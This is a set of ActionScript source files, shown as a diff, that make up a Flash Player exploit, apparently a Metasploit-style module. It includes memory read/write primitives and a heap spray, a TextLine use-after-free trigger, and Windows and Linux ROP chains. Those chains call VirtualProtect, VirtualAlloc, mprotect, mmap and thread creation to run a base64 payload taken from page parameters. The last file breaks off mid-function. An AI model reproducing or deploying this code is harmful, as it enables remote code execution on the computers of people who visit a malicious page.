||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,34 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.events.Event
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function Exploit():void
|
||||||
|
{
|
||||||
|
if (stage) init();
|
||||||
|
else addEventListener(Event.ADDED_TO_STAGE, init);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function init(e:Event = null):void
|
||||||
|
{
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
removeEventListener(Event.ADDED_TO_STAGE, init);
|
||||||
|
MyClass.TryExpl(this, platform, payload, 1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,75 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>, length:uint)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
original_length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,367 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var magic:uint
|
||||||
|
private var magic_arg0:uint
|
||||||
|
private var magic_arg1:uint
|
||||||
|
private var magic_object:uint
|
||||||
|
private var magic_table:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stub_address:uint
|
||||||
|
private var stub_space_object:uint
|
||||||
|
private var stub:Vector.<uint> = new Vector.<uint>(8)
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv, uv_length)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
static function Magic(...a){}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
|
||||||
|
// mov eax,[esp+0x4]
|
||||||
|
// xchg eax,esp
|
||||||
|
// rets
|
||||||
|
stub[0] = 0x0424448B
|
||||||
|
stub[1] = 0x0000C394
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
spray[i][4] = Magic
|
||||||
|
spray[i][5] = stub
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
magic = ev.at(pos + 4) - 1
|
||||||
|
stub_space_object = ev.at(pos + 5) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
stub_address = ev.read(stub_space_object + 0x18)
|
||||||
|
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
|
||||||
|
magic_table = ev.read(magic_object)
|
||||||
|
magic_arg0 = ev.read(magic + 0x1c)
|
||||||
|
magic_arg1 = ev.read(magic + 0x20)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake stack on memory
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
for (var i:uint; i < 0x100; i++) {
|
||||||
|
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
|
||||||
|
}
|
||||||
|
|
||||||
|
// VirtualProtect the stub with a *reliable* stackpivot
|
||||||
|
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
|
||||||
|
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
|
||||||
|
eba.write(magic + 0x1c, stub_address)
|
||||||
|
eba.write(magic + 0x20, 0x10)
|
||||||
|
var args:Array = new Array(0x41)
|
||||||
|
Magic.call.apply(null, args);
|
||||||
|
|
||||||
|
// Call to our stackpivot and init the rop chain
|
||||||
|
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
|
||||||
|
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
|
||||||
|
eba.write(magic + 0x1c, stack_address + 0x18000)
|
||||||
|
Magic.call.apply(null, null);
|
||||||
|
eba.write(magic_object, magic_table);
|
||||||
|
eba.write(magic + 0x1c, magic_arg0)
|
||||||
|
eba.write(magic + 0x20, magic_arg1)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,150 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.DisplayObjectContainer;
|
||||||
|
import flash.utils.ByteArray;
|
||||||
|
import flash.system.Capabilities;
|
||||||
|
import flash.events.MouseEvent;
|
||||||
|
import flash.external.ExternalInterface;
|
||||||
|
import flash.text.*;
|
||||||
|
import flash.text.*;
|
||||||
|
import flash.text.engine.*;
|
||||||
|
|
||||||
|
public class MyClass
|
||||||
|
{
|
||||||
|
static var
|
||||||
|
_gc:Array,
|
||||||
|
_ar:Array,
|
||||||
|
_ar_reuse:Array,
|
||||||
|
_ar_text_line:Array,
|
||||||
|
_arLen:int,
|
||||||
|
_ar_reuseLen:int,
|
||||||
|
_ar_text_lineLen:int,
|
||||||
|
_vu:Vector.<uint>,
|
||||||
|
_tb:TextBlock,
|
||||||
|
_mc:MyClass,
|
||||||
|
_cnt:int,
|
||||||
|
_vLen:int,
|
||||||
|
LEN40:uint = 0x40000000;
|
||||||
|
|
||||||
|
static function valueOf2()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (++_cnt < _ar_text_lineLen) {
|
||||||
|
//recursive call for next TextLine
|
||||||
|
_ar_text_line[_cnt].opaqueBackground = _mc;
|
||||||
|
} else {
|
||||||
|
for(var i:int = 1; i <= 19; i++)
|
||||||
|
_tb.recreateTextLine(_ar_text_line[_ar_text_lineLen - i]);
|
||||||
|
// reuse freed memory
|
||||||
|
for(i=0; i < _ar_reuseLen; i++)
|
||||||
|
_ar_reuse[i].length = _vLen;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (e:Error)
|
||||||
|
{
|
||||||
|
Logger.log("valueOf2 " + e.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
return _vLen+8;
|
||||||
|
}
|
||||||
|
|
||||||
|
static function TryExpl(e:Exploit, platform:String, payload:ByteArray, try_number:uint)
|
||||||
|
{
|
||||||
|
if (try_number > 3)
|
||||||
|
return
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// init vars
|
||||||
|
Logger.log("init vars")
|
||||||
|
_arLen = 30
|
||||||
|
_ar_text_lineLen = 50
|
||||||
|
